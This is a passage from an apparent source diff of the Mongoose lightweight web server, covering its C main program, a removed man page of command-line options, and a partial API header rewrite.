#define CONFIG_FILE "mongoose.conf"
#endif /* !CONFIG_FILE */
static void WINCDECL signal_handler(int sig_num) {
exit_flag = sig_num;
}
static void die(const char *fmt, ...) {
va_list ap;
char msg[200];
va_start(ap, fmt);
vsnprintf(msg, sizeof(msg), fmt, ap);
va_end(ap);
#if defined(_WIN32)
MessageBox(NULL, msg, "Error", MB_OK);
#else
fprintf(stderr, "%s\n", msg);
#endif
exit(EXIT_FAILURE);
}
static void show_usage_and_exit(void) {
const char **names;
int i;
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built %s\n",
mg_version(), __DATE__);
fprintf(stderr, "Usage:\n");
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
fprintf(stderr, " mongoose <config_file>\n");
fprintf(stderr, " mongoose [-option value ...]\n");
fprintf(stderr, "\nOPTIONS:\n");
names = mg_get_valid_option_names();
for (i = 0; names[i] != NULL; i += 3) {
fprintf(stderr, " -%s %s (default: \"%s\")\n",
names[i], names[i + 1], names[i + 2] == NULL ? "" : names[i + 2]);
}
fprintf(stderr, "\nSee http://code.google.com/p/mongoose/wiki/MongooseManual"
" for more details.\n");
fprintf(stderr, "Example:\n mongoose -s cert.pem -p 80,443s -d no\n");
exit(EXIT_FAILURE);
}
static void verify_document_root(const char *root) {
const char *p, *path;
char buf[PATH_MAX];
struct stat st;
path = root;
if ((p = strchr(root, ',')) != NULL && (size_t) (p - root) < sizeof(buf)) {
memcpy(buf, root, p - root);
buf[p - root] = '\0';
path = buf;
}
if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode)) {
die("Invalid root directory: [%s]: %s", root, strerror(errno));
}
}
static char *sdup(const char *str) {
char *p;
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
strcpy(p, str);
}
return p;
}
static void set_option(char **options, const char *name, const char *value) {
int i;
if (!strcmp(name, "document_root") || !(strcmp(name, "r"))) {
verify_document_root(value);
}
for (i = 0; i < MAX_OPTIONS - 3; i++) {
if (options[i] == NULL) {
options[i] = sdup(name);
options[i + 1] = sdup(value);
options[i + 2] = NULL;
break;
}
}
if (i == MAX_OPTIONS - 3) {
die("%s", "Too many options specified");
}
}
static void process_command_line_arguments(char *argv[], char **options) {
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
FILE *fp = NULL;
size_t i, cmd_line_opts_start = 1, line_no = 0;
options[0] = NULL;
// Should we use a config file ?
if (argv[1] != NULL && argv[1][0] != '-') {
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
cmd_line_opts_start = 2;
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
// No command line flags specified. Look where binary lives
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
} else {
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
}
fp = fopen(config_file, "r");
// If config file was set in command line and open failed, die
if (cmd_line_opts_start == 2 && fp == NULL) {
die("Cannot open config file %s: %s", config_file, strerror(errno));
}
// Load config file settings first
if (fp != NULL) {
fprintf(stderr, "Loading config file %s\n", config_file);
// Loop over the lines in config file
while (fgets(line, sizeof(line), fp) != NULL) {
line_no++;
// Ignore empty lines and comments
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
if (line[i] == '#' || line[i] == '\0')
continue;
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
die("%s: line %d is invalid", config_file, (int) line_no);
}
set_option(options, opt, val);
}
(void) fclose(fp);
}
// Handle command line flags. They override config file and default settings.
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
show_usage_and_exit();
}
set_option(options, &argv[i][1], argv[i + 1]);
}
}
static void init_server_name(void) {
snprintf(server_name, sizeof(server_name), "Mongoose web server v. %s",
mg_version());
}
static void *mongoose_callback(enum mg_event ev, struct mg_connection *conn) {
if (ev == MG_EVENT_LOG) {
printf("%s\n", mg_get_log_message(conn));
}
// Returning NULL marks request as not handled, signalling mongoose to
// proceed with handling it.
return NULL;
}
static void start_mongoose(int argc, char *argv[]) {
char *options[MAX_OPTIONS];
int i;
// Edit passwords file if -A option is specified
if (argc > 1 && !strcmp(argv[1], "-A")) {
if (argc != 6) {
show_usage_and_exit();
}
exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
EXIT_SUCCESS : EXIT_FAILURE);
}
// Show usage if -h or --help options are specified
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
show_usage_and_exit();
}
/* Update config based on command line arguments */
process_command_line_arguments(argv, options);
/* Setup signal handler: quit on Ctrl-C */
signal(SIGTERM, signal_handler);
signal(SIGINT, signal_handler);
/* Start Mongoose */
ctx = mg_start(&mongoose_callback, NULL, (const char **) options);
for (i = 0; options[i] != NULL; i++) {
free(options[i]);
}
if (ctx == NULL) {
die("%s", "Failed to start Mongoose.");
}
}
#ifdef _WIN32
static SERVICE_STATUS ss;
static SERVICE_STATUS_HANDLE hStatus;
static const char *service_magic_argument = "--";
static void WINAPI ControlHandler(DWORD code) {
if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
ss.dwWin32ExitCode = 0;
ss.dwCurrentState = SERVICE_STOPPED;
}
SetServiceStatus(hStatus, &ss);
}
static void WINAPI ServiceMain(void) {
ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
SetServiceStatus(hStatus, &ss);
while (ss.dwCurrentState == SERVICE_RUNNING) {
Sleep(1000);
}
mg_stop(ctx);
ss.dwCurrentState = SERVICE_STOPPED;
ss.dwWin32ExitCode = (DWORD) -1;
SetServiceStatus(hStatus, &ss);
}
#define ID_TRAYICON 100
#define ID_QUIT 101
#define ID_EDIT_CONFIG 102
#define ID_SEPARATOR 103
#define ID_INSTALL_SERVICE 104
#define ID_REMOVE_SERVICE 105
#define ID_ICON 200
static NOTIFYICONDATA TrayIcon;
static void edit_config_file(void) {
const char **names, *value;
FILE *fp;
int i;
char cmd[200];
// Create config file if it is not present yet
if ((fp = fopen(config_file, "r")) != NULL) {
fclose(fp);
} else if ((fp = fopen(config_file, "a+")) != NULL) {
fprintf(fp,
"# Mongoose web server configuration file.\n"
"# Lines starting with '#' and empty lines are ignored.\n"
"# For detailed description of every option, visit\n"
"# http://code.google.com/p/mongoose/wiki/MongooseManual\n\n");
names = mg_get_valid_option_names();
for (i = 0; names[i] != NULL; i += 3) {
value = mg_get_option(ctx, names[i]);
fprintf(fp, "# %s %s\n", names[i + 1], *value ? value : "<value>");
}
fclose(fp);
}
snprintf(cmd, sizeof(cmd), "notepad.exe %s", config_file);
WinExec(cmd, SW_SHOW);
}
static void show_error(void) {
char buf[256];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
buf, sizeof(buf), NULL);
MessageBox(NULL, buf, "Error", MB_OK);
}
static int manage_service(int action) {
static const char *service_name = "Mongoose";
SC_HANDLE hSCM = NULL, hService = NULL;
SERVICE_DESCRIPTION descr = {server_name};
char path[PATH_MAX + 20]; // Path to executable plus magic argument
int success = 1;
if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
GENERIC_WRITE : GENERIC_READ)) == NULL) {
success = 0;
show_error();
} else if (action == ID_INSTALL_SERVICE) {
GetModuleFileName(NULL, path, sizeof(path));
strncat(path, " ", sizeof(path));
strncat(path, service_magic_argument, sizeof(path));
hService = CreateService(hSCM, service_name, service_name,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path, NULL, NULL, NULL, NULL, NULL);
if (hService) {
ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
} else {
show_error();
}
} else if (action == ID_REMOVE_SERVICE) {
if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
!DeleteService(hService)) {
show_error();
}
} else if ((hService = OpenService(hSCM, service_name,
SERVICE_QUERY_STATUS)) == NULL) {
success = 0;
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
LPARAM lParam) {
static SERVICE_TABLE_ENTRY service_table[] = {
{server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
int service_installed;
char buf[200], *service_argv[] = {__argv[0], NULL};
POINT pt;
HMENU hMenu;
switch (msg) {
case WM_CREATE:
if (__argv[1] != NULL &&
!strcmp(__argv[1], service_magic_argument)) {
start_mongoose(1, service_argv);
StartServiceCtrlDispatcher(service_table);
exit(EXIT_SUCCESS);
} else {
start_mongoose(__argc, __argv);
}
break;
case WM_COMMAND:
switch (LOWORD(wParam)) {
case ID_QUIT:
mg_stop(ctx);
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
PostQuitMessage(0);
break;
case ID_EDIT_CONFIG:
edit_config_file();
break;
case ID_INSTALL_SERVICE:
case ID_REMOVE_SERVICE:
manage_service(LOWORD(wParam));
break;
}
break;
case WM_USER:
switch (lParam) {
case WM_RBUTTONUP:
case WM_LBUTTONUP:
case WM_LBUTTONDBLCLK:
hMenu = CreatePopupMenu();
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
service_installed = manage_service(0);
snprintf(buf, sizeof(buf), "NT service: %s installed",
service_installed ? "" : "not");
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
ID_INSTALL_SERVICE, "Install service");
AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
ID_REMOVE_SERVICE, "Deinstall service");
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
AppendMenu(hMenu, MF_STRING, ID_EDIT_CONFIG, "Edit config file");
AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
GetCursorPos(&pt);
SetForegroundWindow(hWnd);
TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
PostMessage(hWnd, WM_NULL, 0, 0);
DestroyMenu(hMenu);
break;
}
break;
case WM_CLOSE:
mg_stop(ctx);
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
PostQuitMessage(0);
return 0; // We've just sent our own quit message, with proper hwnd.
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
WNDCLASS cls;
HWND hWnd;
MSG msg;
init_server_name();
memset(&cls, 0, sizeof(cls));
cls.lpfnWndProc = (WNDPROC) WindowProc;
cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
cls.lpszClassName = server_name;
RegisterClass(&cls);
hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
0, 0, 0, 0, NULL, NULL, NULL, NULL);
ShowWindow(hWnd, SW_HIDE);
TrayIcon.cbSize = sizeof(TrayIcon);
TrayIcon.uID = ID_TRAYICON;
TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
TrayIcon.hIcon = LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(ID_ICON),
IMAGE_ICON, 16, 16, 0);
TrayIcon.hWnd = hWnd;
snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
TrayIcon.uCallbackMessage = WM_USER;
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
while (GetMessage(&msg, hWnd, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Return the WM_QUIT value.
return msg.wParam;
}
#else
int main(int argc, char *argv[]) {
init_server_name();
start_mongoose(argc, argv);
printf("%s started on port(s) %s with web root [%s]\n",
server_name, mg_get_option(ctx, "listening_ports"),
mg_get_option(ctx, "document_root"));
while (exit_flag == 0) {
sleep(1);
}
printf("Exiting on signal %d, waiting for all threads to finish...",
exit_flag);
fflush(stdout);
mg_stop(ctx);
printf("%s", " done.\n");
return EXIT_SUCCESS;
}
#endif /* _WIN32 */
-184
View File
@@ -1,184 +0,0 @@
.\" Process this file with
.\" groff -man -Tascii mongoose.1
.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
.Dd Sep 23, 2012
.Dt mongoose 1
.Sh NAME
.Nm mongoose
.Nd lightweight web server
.Sh SYNOPSIS
.Nm
.Op Ar config_file
.Op Ar OPTIONS
.Nm
.Fl A Ar htpasswd_file domain_name user_name password
.Sh DESCRIPTION
.Nm
is small, fast and easy to use web server with CGI, SSL, MD5 authorization,
and basic SSI support.
.Pp
.Nm
does not detach from terminal, and uses current working directory
as the web root, unless
.Fl r
option is specified.
It is possible to specify multiple ports to listen on. For example, to make
mongoose listen on HTTP port 80 and HTTPS port 443, one should start it as:
.Nm
.Fl s Ar cert.pem Fl p Ar 80,443s
.Pp
Unlike other web servers,
.Nm
does not require CGI scripts be put in a special directory. CGI scripts can
be anywhere. CGI (and SSI) files are recognized by the file name pattern.
.Nm
uses shell-like glob patterns with the following syntax:
.Bl -tag -compact -width indent
.It **
Matches everything
.It *
Matches everything but slash character, '/'
.It ?
Matches any character
.It $
Matches the end of the string
.It |
Matches if pattern on the left side or the right side matches. Pattern on the
left side is matched first
.El
All other characters in the pattern match themselves.
.Pp
If no arguments are given,
.Nm
searches for a configuration file called "mongoose.conf" in the same directory
where mongoose binary is located. Alternatively, a file name could be
specified in the command line. Format of the configuration file is the same
as for the command line options except that each option must be specified
on a separate line, leading dashes for option names must be omitted.
Lines beginning with '#' and empty lines are ignored.
.Pp
.Sh OPTIONS
.Bl -tag -width indent
.It Fl A Ar htpasswd_file domain_name user_name password
Add/edit user's password in the passwords file. Deleting users can be done
with any text editor. Functionality is similar to Apache's
.Ic htdigest
utility.
.It Fl C Ar cgi_pattern
All files that fully match cgi_pattern are treated as CGI.
Default pattern allows CGI files be
anywhere. To restrict CGIs to certain directory, use e.g. "-C /cgi-bin/**.cgi".
Default: "**.cgi$|**.pl$|**.php$"
.It Fl E Ar cgi_environment
Extra environment variables to be passed to the CGI script in addition to
standard ones. The list must be comma-separated list of X=Y pairs, like this:
"VARIABLE1=VALUE1,VARIABLE2=VALUE2". Default: ""
.It Fl G Ar put_delete_passwords_file
PUT and DELETE passwords file. This must be specified if PUT or
DELETE methods are used. Default: ""
.It Fl I Ar cgi_interpreter
Use
.Ar cgi_interpreter
as a CGI interpreter for all CGI scripts regardless script extension.
Mongoose decides which interpreter to use by looking at
the first line of a CGI script. Default: "".
.It Fl P Ar protect_uri
Comma separated list of URI=PATH pairs, specifying that given URIs
must be protected with respected password files. Default: ""
.It Fl R Ar authentication_domain
Authorization realm. Default: "mydomain.com"
.It Fl S Ar ssi_pattern
All files that fully match ssi_pattern are treated as SSI.
Unknown SSI directives are silently ignored. Currently, two SSI directives
are supported, "include" and "exec". Default: "**.shtml$|**.shtm$"
.It Fl T Ar throttle
Limit download speed for clients.
.Ar throttle
is a comma-separated list of key=value pairs, where
key could be a '*' character (limit for all connections), a subnet in form
x.x.x.x/mask (limit for a given subnet, for example 10.0.0.0/8), or an
URI prefix pattern (limit for the set of URIs, for example /foo/**). The value
is a floating-point number of bytes per second, optionally followed by a
`k' or `m' character, meaning kilobytes and megabytes respectively. A limit
of 0 means unlimited rate. The last matching rule wins. For example,
"*=1k,10.0.0.0/8" means limit everybody to 1 kilobyte per second, but give
people from 10/8 subnet unlimited speed. Default: ""
.It Fl a Ar access_log_file
Access log file. Default: "", no logging is done.
.It Fl d Ar enable_directory_listing
Enable/disable directory listing. Default: "yes"
.It Fl e Ar error_log_file
Error log file. Default: "", no errors are logged.
.It Fl g Ar global_passwords_file
Location of a global passwords file. If set, per-directory .htpasswd files are
ignored, and all requests must be authorised against that file. Default: ""
.It Fl i Ar index_files
Comma-separated list of files to be treated as directory index files.
Default: "index.html,index.htm,index.cgi"
.It Fl l Ar access_control_list
Specify access control list (ACL). ACL is a comma separated list
of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
minus means deny. If subnet mask is
omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
from 0 to 32 inclusive. On each request, full list is traversed, and
last match wins. Default setting is to allow all. For example, to allow only
192.168/16 subnet to connect, run "mongoose -0.0.0.0/0,+192.168/16".
Default: ""
.It Fl m Ar extra_mime_types
Extra mime types to recognize, in form
"extension1=type1,extension2=type2,...". Extension must include dot.
Example: "mongoose -m .cpp=plain/text,.java=plain/text". Default: ""
.It Fl p Ar listening_ports
Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
must be appeneded, for example, "-p 80,443s" will open port 80 and port 443,
and connections on port 443 will be SSL-ed. It is possible to specify an
IP address to bind to. In this case, an IP address and a colon must be
prepended to the port number. For example, to bind to a loopback interface
on port 80 and to all interfaces on HTTPS port 443, use
"mongoose -p 127.0.0.1:80,443s". Default: "8080"
.It Fl r Ar document_root
Location of the WWW root directory. Default: "."
.It Fl s Ar ssl_certificate
Location of SSL certificate file. Default: ""
.It Fl t Ar num_threads
Number of worker threads to start. Default: "10"
.It Fl u Ar run_as_user
Switch to given user's credentials after startup. Default: ""
.It Fl w Ar url_rewrite_patterns
Comma-separated list of URL rewrites in the form of
"pattern=substitution,..." If the "pattern" matches some prefix
of the requested URL, then matched prefix gets substituted with "substitution".
For example, "-w /config=/etc,**.doc|**.rtf=/path/to/cgi-bin/handle_doc.cgi"
will serve all URLs that start with "/config" from the "/etc" directory, and
call handle_doc.cgi script for .doc and .rtf file requests. If some pattern
matches, no further matching/substitution is performed
(first matching pattern wins). Use full paths in substitutions. Default: ""
.It Fl x Ar hide_files_patterns
A prefix pattern for the files to hide. Files that match the pattern will not
show up in directory listing and return 404 Not Found if requested. Default: ""
.El
.Pp
.Sh EMBEDDING
.Nm
was designed to be embeddable into C/C++ applications. Since the
source code is contained in single C file, it is fairly easy to embed it
and follow the updates. Please refer to http://code.google.com/p/mongoose
for details.
.Pp
.Sh EXAMPLES
.Bl -tag -width indent
.It Nm Fl r Ar /var/www Fl s Ar /etc/cert.pem Fl p Ar 8080,8043s
Start serving files from /var/www. Listen on port 8080 for HTTP, and 8043
for HTTPS connections. Use /etc/cert.pem as SSL certificate file.
.It Nm Fl l Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
Deny connections from everywhere, allow only IP address 1.2.3.4 and
all IP addresses from 10.0.0.0/8 subnet to connect.
.It Nm Fl w Ar **=/usr/bin/script.cgi
Invoke /usr/bin/script.cgi for every incoming request, regardless of the URL.
.El
.Pp
.Sh COPYRIGHT
.Nm
is licensed under the terms of the MIT license.
.Sh AUTHOR
.An Sergey Lyubka Aq valenok@gmail.com .
+4825 -4810
View File
File diff suppressed because it is too large. Load diff
+95 -274
View File
@@ -1,305 +1,126 @@
// Copyright (c) 2004-2012 Sergey Lyubka
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013-2014 Cesanta Software Limited
// All rights reserved
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/>.
//
// NOTE: Detailed API documentation is at http://cesanta.com/#docs
#ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED
#include <stdio.h>
#include <stddef.h>
#define MONGOOSE_VERSION "5.3"
#include <stdio.h> // required for FILE
#include <stddef.h> // required for size_t
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
struct mg_context; // Handle for the HTTP service itself
struct mg_connection; // Handle for the individual connection
// This structure contains information about HTTP request.
struct mg_connection {
const char *request_method; // "GET", "POST", etc
const char *uri; // URL-decoded URI
const char *http_version; // E.g. "1.0", "1.1"
const char *query_string; // URL part after '?', not including '?', or NULL
char remote_ip[48]; // Max IPv6 string length is 45 characters
const char *local_ip; // Local IP address
unsigned short remote_port; // Client's port
unsigned short local_port; // Local port number
// This structure contains information about the HTTP request.
struct mg_request_info {
char *request_method; // "GET", "POST", etc
char *uri; // URL-decoded URI
char *http_version; // E.g. "1.0", "1.1"
char *query_string; // URL part after '?' (not including '?') or NULL
char *remote_user; // Authenticated user, or NULL if no auth used
long remote_ip; // Client's IP address
int remote_port; // Client's port
int is_ssl; // 1 if SSL-ed, 0 if not
int num_headers; // Number of headers
int num_headers; // Number of HTTP headers
struct mg_header {
char *name; // HTTP header name
char *value; // HTTP header value
} http_headers[64]; // Maximum 64 headers
const char *name; // HTTP header name
const char *value; // HTTP header value
} http_headers[30];
char *content; // POST (or websocket message) data, or NULL
size_t content_len; // content length
int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler
int wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_add_uri_handler()
void *connection_param; // Placeholder for connection-specific data
};
// Various events on which user-defined function is called by Mongoose.
struct mg_server; // Opaque structure describing server instance
enum mg_result { MG_FALSE, MG_TRUE, MG_MORE };
enum mg_event {
MG_NEW_REQUEST, // New HTTP request has arrived from the client
MG_REQUEST_COMPLETE, // Mongoose has finished handling the request
MG_HTTP_ERROR, // HTTP error must be returned to the client
MG_EVENT_LOG, // Mongoose logs an event, request_info.log_message
MG_INIT_SSL, // SSL initialization, sent before certificate setup
MG_WEBSOCKET_CONNECT, // Sent on HTTP connect, before websocket handshake.
// If user callback returns NULL, then mongoose proceeds
// with handshake, otherwise it closes the connection.
MG_WEBSOCKET_READY, // Handshake has been successfully completed.
MG_WEBSOCKET_MESSAGE, // Incoming message from the client
MG_WEBSOCKET_CLOSE, // Client has closed the connection
MG_POLL = 100, // Callback return value is ignored
MG_CONNECT, // If callback returns MG_FALSE, connect fails
MG_AUTH, // If callback returns MG_FALSE, authentication fails
MG_REQUEST, // If callback returns MG_FALSE, Mongoose continues with req
MG_REPLY, // If callback returns MG_FALSE, Mongoose closes connection
MG_CLOSE, // Connection is closed
MG_LUA, // Called before LSP page invoked
MG_HTTP_ERROR // If callback returns MG_FALSE, Mongoose continues with err
};
typedef int (*mg_handler_t)(struct mg_connection *, enum mg_event);
// Prototype for the user-defined function. Mongoose calls this function
// on every MG_* event.
//
// Parameters:
// event: which event has been triggered.
// conn: opaque connection handler. Could be used to read, write data to the
// client, etc. See functions below that have "mg_connection *" arg.
//
// Return:
// If handler returns non-NULL, that means that handler has processed the
// request by sending appropriate HTTP reply to the client. Mongoose treats
// the request as served.
// If handler returns NULL, that means that handler has not processed
// the request. Handler must not send any data to the client in this case.
// Mongoose proceeds with request handling as if nothing happened.
typedef void *(*mg_callback_t)(enum mg_event event, struct mg_connection *conn);
// Start web server.
//
// Parameters:
// callback: user defined event handling function or NULL.
// options: NULL terminated list of option_name, option_value pairs that
// specify Mongoose configuration parameters.
//
// Side-effects: on UNIX, ignores SIGCHLD and SIGPIPE signals. If custom
// processing is required for these, signal handlers must be set up
// after calling mg_start().
//
//
// Example:
// const char *options[] = {
// "document_root", "/var/www",
// "listening_ports", "80,443s",
// NULL
// };
// struct mg_context *ctx = mg_start(&my_func, NULL, options);
//
// Please refer to http://code.google.com/p/mongoose/wiki/MongooseManual
// for the list of valid option and their possible values.
//
// Return:
// web server context, or NULL on error.
struct mg_context *mg_start(mg_callback_t callback, void *user_data,
const char **options);
// Stop the web server.
//
// Must be called last, when an application wants to stop the web server and
// release all associated resources. This function blocks until all Mongoose
// threads are stopped. Context pointer becomes invalid.
void mg_stop(struct mg_context *);
// Get the value of particular configuration parameter.
// The value returned is read-only. Mongoose does not allow changing
// configuration at run time.
// If given parameter name is not valid, NULL is returned. For valid
// names, return value is guaranteed to be non-NULL. If parameter is not
// set, zero-length string is returned.
const char *mg_get_option(const struct mg_context *ctx, const char *name);
// Return array of strings that represent valid configuration options.
// For each option, a short name, long name, and default value is returned.
// Array is NULL terminated.
// Server management functions
struct mg_server *mg_create_server(void *server_param, mg_handler_t handler);
void mg_destroy_server(struct mg_server **);
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
int mg_poll_server(struct mg_server *, int milliseconds);
const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name);
void mg_set_listening_socket(struct mg_server *, int sock);
int mg_get_listening_socket(struct mg_server *);
void mg_iterate_over_connections(struct mg_server *, mg_handler_t);
void mg_wakeup_server(struct mg_server *);
struct mg_connection *mg_connect(struct mg_server *, const char *, int, int);
// Connection management functions
void mg_send_status(struct mg_connection *, int status_code);
void mg_send_header(struct mg_connection *, const char *name, const char *val);
void mg_send_data(struct mg_connection *, const void *data, int data_len);
void mg_printf_data(struct mg_connection *, const char *format, ...);
// Add, edit or delete the entry in the passwords file.
//
// This function allows an application to manipulate .htpasswd files on the
// fly by adding, deleting and changing user records. This is one of the
// several ways of implementing authentication on the server side. For another,
// cookie-based way please refer to the examples/chat.c in the source tree.
//
// If password is not NULL, entry is added (or modified if already exists).
// If password is NULL, entry is deleted.
//
// Return:
// 1 on success, 0 on error.
int mg_modify_passwords_file(const char *passwords_file_name,
const char *domain,
const char *user,
const char *password);
int mg_websocket_write(struct mg_connection *, int opcode,
const char *data, size_t data_len);
// Deprecated in favor of mg_send_* interface
int mg_write(struct mg_connection *, const void *buf, int len);
int mg_printf(struct mg_connection *conn, const char *fmt, ...);
// Return information associated with the request.
// These functions always succeed.
const struct mg_request_info *mg_get_request_info(const struct mg_connection *);
void *mg_get_user_data(struct mg_connection *);
const char *mg_get_log_message(const struct mg_connection *);
int mg_get_reply_status_code(const struct mg_connection *);
void *mg_get_ssl_context(const struct mg_connection *);
// Send data to the client.
// Return:
// 0 when the connection has been closed
// -1 on error
// number of bytes written on success
int mg_write(struct mg_connection *, const void *buf, size_t len);
// Send data to the browser using printf() semantics.
//
// Works exactly like mg_write(), but allows to do message formatting.
// Below are the macros for enabling compiler-specific checks for
// printf-like arguments.
#undef PRINTF_FORMAT_STRING
#if _MSC_VER >= 1400
#include <sal.h>
#if _MSC_VER > 1400
#define PRINTF_FORMAT_STRING(s) _Printf_format_string_ s
#else
#define PRINTF_FORMAT_STRING(s) __format_string s
#endif
#else
#define PRINTF_FORMAT_STRING(s) s
#endif
#ifdef __GNUC__
#define PRINTF_ARGS(x, y) __attribute__((format(printf, x, y)))
#else
#define PRINTF_ARGS(x, y)
#endif
int mg_printf(struct mg_connection *,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
// Send contents of the entire file together with HTTP headers.
void mg_send_file(struct mg_connection *conn, const char *path);
// Read data from the remote end, return number of bytes read.
int mg_read(struct mg_connection *, void *buf, size_t len);
// Get the value of particular HTTP header.
//
// This is a helper function. It traverses request_info->http_headers array,
// and if the header is present in the array, returns its value. If it is
// not present, NULL is returned.
const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *name, const char *default_mime_type);
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
int mg_parse_multipart(const char *buf, int buf_len,
char *var_name, int var_name_len,
char *file_name, int file_name_len,
const char **data, int *data_len);
// Utility functions
void *mg_start_thread(void *(*func)(void *), void *param);
char *mg_md5(char buf[33], ...);
int mg_authorize_digest(struct mg_connection *c, FILE *fp);
// Get a value of particular form variable.
//
// Parameters:
// data: pointer to form-uri-encoded buffer. This could be either POST data,
// or request_info.query_string.
// data_len: length of the encoded data.
// var_name: variable name to decode from the buffer
// buf: destination buffer for the decoded variable
// buf_len: length of the destination buffer
//
// Return:
// On success, length of the decoded variable.
// On error:
// -1 (variable not found, or destination buffer is too small).
// -2 (destination buffer is NULL or zero length).
//
// Destination buffer is guaranteed to be '\0' - terminated if it is not
// NULL or zero length. In case of failure, dst[0] == '\0'.
int mg_get_var(const char *data, size_t data_len,
const char *var_name, char *buf, size_t buf_len);
// Fetch value of certain cookie variable into the destination buffer.
//
// Destination buffer is guaranteed to be '\0' - terminated. In case of
